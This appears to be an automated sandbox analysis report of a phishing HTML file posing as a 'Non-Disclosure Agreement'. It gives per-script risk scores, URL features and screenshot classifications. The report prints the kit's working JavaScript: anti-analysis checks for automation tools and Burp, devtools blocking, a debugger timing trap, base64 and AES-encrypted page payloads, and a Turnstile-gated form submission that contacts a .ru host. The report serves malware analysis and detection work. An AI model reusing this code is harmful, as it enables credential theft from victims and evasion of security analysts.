Windows Analysis Report
Non-Disclosure Agreement.html

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and redirecting the user to an external domain. The script also includes a self-executing function that triggers a debugger and then redirects the user, which is a strong indicator of malicious intent."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
dJHVWBdwea = false;
(function IgSFDUUXmg() {
    let AdJduttpsy = false;
    const siXLSCMNhO = 100;
    setInterval(function() {
        const JbqPHCqPyA = performance.now();
        debugger;
        const vZldemucoO = performance.now();
        if (vZldemucoO - JbqPHCqPyA > siXLSCMNhO && !AdJduttpsy) {
            dJHVWBdwea = true;
            AdJduttpsy = true;
            window.location.replace('https://www.sharepoint.com');
        }
    }, 100);
})();
    

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cDovL1p2ZUQuZ3VyYXRpdmV6LnJ1L2hIN19DTGZXOEIwNnVEWmJGbUFpTHcv") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNxdmNOT2FMcFFGIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3F2Y05PYUxwUUYgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3F2Y05PYUxwUUYgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojcXZjTk9hTHBRRiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3F2Y05PYUxwUUYuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTE0cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNxdmNOT2FMcFFGIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojcXZjTk9hTHBRRiAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI3F2Y05PYUxwUUYgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojcXZjTk9hTHBRRiAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojcXZjTk9hTHBRRiAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI3F2Y05PYUxwUUYgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI3F2Y05PYUxwUUYubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNxdmNOT2FMcFFGIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojcXZjTk9hTHBRRiAjRmVTYXZvWGNLUiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KZEpIVldCZHdlYSA9IGZhbHNlOw0KKGZ1bmN0aW9uIElnU0ZEVVVYbWcoKSB7DQogICAgbGV0IEFkSmR1dHRwc3kgPSBmYWxzZTsNCiAgICBjb25zdCBzaVhMU0NNTmhPID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBKYnFQSENxUHlBID0gcGVyZm9ybWFuY2Uu

{
    "risk_score": 6,
    "reasoning": "The script demonstrates several moderate-risk behaviors, including external data transmission, the use of obfuscated code, and the potential for dynamic code execution. While the script appears to be using legitimate cryptographic libraries, the overall behavior and lack of transparency raise concerns that warrant further investigation."
}

    var lrMkLwnOXAhUnEZH = document.createElement("script");
lrMkLwnOXAhUnEZH.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(lrMkLwnOXAhUnEZH);
lrMkLwnOXAhUnEZH.onload=function(){
var {a,b,c,d} = JSON.parse(atob("eyJhIjoiYzY5dGpYa0VmcUczRVBOWUtQM3BkaEJHOXhXbkZuK2tBXC9RcmRoOEZKV1RYc0FBTndUcFRIUzZCWkM1WkcwaHQrOW1qbG03dzB1ZkRka3M4YWdrYUpUZXV4eHA1bFRMWGtFVDNwY3lpTGplbkRSTjI4UEdjK1ZGMitqaUN5aUE5YzNvZnRqQmhkbmFWTnNkdTJieGdpKzZPU1ZvQTNxSHRFTFwvcmxGN3BKZGt3UmVNMjlnK1VCVFA1bHRxcFNKZUZHcFJMY2Z4YStMZDFhSDdwZHVkNzREN1BRY3FBSGM0TklzcFpGWE1WeGpPOERRWm9QRnZXaWVTMTd2bWVHY0E2T3BISGtpSFNDUzBHUHRcL2JDaDd2QlpJdE1UN0JZTmJ6Qk01bGRLemFpUXBCY3FHNXFkek95VEZwbEtEbzhGMEY2ZndLRnQ1RlBrMnBPTGY4c0ZPVlVkZGNLYlYxampUVVdmc0o1Rzl3TFVnNVo1ZHNwXC90aHFFYXd3Ymw3VkVvQnJlcjBtZGpIQm0wQ0ZxaHNLcklkVXFLenF0aVJ1Vldvd21BODR2WVY1UzdVSkJiZUdTTTQ1T0JIWVwvdk5ZeVArc0hFTXhQV09uczFQdUFseVJ6XC9FY09QblR1a1hKRnJHXC9cL3NQcU1HVTNDK2xrQ0VNUVBkMU1vZkVzTkppOUFoRHBYSnFVbmxzTlFoTjNiZCszTUYxVFwvbU1uOURTVHc1RERWdUp6bE4xRWZ2Y0xNZ0tYRWEyZmp1ZTBocWVJeThqR0ZKS2JLXC83MFpQMkh6XC9wbjRRVXVEVnVjczg4d25OTDZXRVh6OWh5U1Z5QnAyc3RnODNMMlk3b1NxQlBBVWxpeHhrWnpDSzBHVjl6MFJRSzllRVArQVNDTEtSZUZaTUlHd2tTb3lvUFhpT3BtUDIyVlQ4aEt5WVVwcjFTcURONXNvUU9NdEZlNzFLNXNnZGN3T1NjUnV4TGh5TnRSTjB2NXR0ZGhLeGwxeTJHc1lIaXJ4YmdqR3U4TUNrWjB0TDFNZ2tpQWF3OW1LdlVpNDRENjVlMUl3eFpHQXNFNDdMdW0zUnc0bVpBQUFGYTZxcUFyN0tNY1NYeklsZGU1d0ROIiwiYiI6ImM5NWJhM2NjNmNhN2EzOGYyMDU2NWM0NjVhNzIzMzBiIiwiYyI6IjAxMmMzZTEwMWU5ZDRlODZiY2U1MDljOTNhYWM1ODEwIiwiZCI6IjY0MzM2MjM4MzE2NjYxMzEzMzMwNjQzOTYxMzgzNzMyMzU2NjMzNjQzNzM2Mzg2NjM5NjIzODY1Mzg2MTY0MzcifQ=="));
var lviZItRkzQHZyuYY = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999});
gvQKZgmEOLRBrJNC = CryptoJS.AES.decrypt(a,lviZItRkzQHZyuYY,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
gvQKZgmEOLRBrJNC = gvQKZgmEOLRBrJNC.replace(/zWTRSxEGmBrWxXku/g, plumwood);
document.write(gvQKZgmEOLRBrJNC);
}

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function, which can execute remote code, and it sends user data to an unknown domain. Additionally, the script redirects the user to the SharePoint domain if certain conditions are met, which is a suspicious behavior. Overall, this script exhibits a high level of malicious intent and poses a significant security risk."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAAy6q7iduvs50k8-',
    'error-callback': fDQnIiLvyk,
    callback: bOeSGfZvPd,
});
function fDQnIiLvyk() {
    turnstile.reset();
}
function bOeSGfZvPd() {
    var hsfWVPcgLt = document.getElementById("lNntqzcCvr");
    hsfWVPcgLt.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'fW8B';
    var fwYFvxaCZa = "../ciD4txGgd2L1qzE0s6Sou4pHTqb1tn";
    fetch('https://9LvHlxZdIaqw4eTntpJIO13Ff6J43k6uo4AuulcU4LaOv6ANkJ487fXe5HGT.uyofiykrxf.ru/jYpzYHmViExNWkcPprHooqPmcICSNRCVHESWFGPUOAJKQVZYGURNUKQYKRPKQYGKZJLMJYTGUELTF', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(fwYFvxaCZa, {
        method: "POST",
        body: new FormData(hsfWVPcgLt)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(dJHVWBdwea == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://www.sharepoint.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://www.sharepoint.com');
    }
    })
    .catch(error => {
    window.location.replace('https://www.sharepoint.com');
    });
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://microsoft.com

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Ensuring your browser is secure for your safety.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}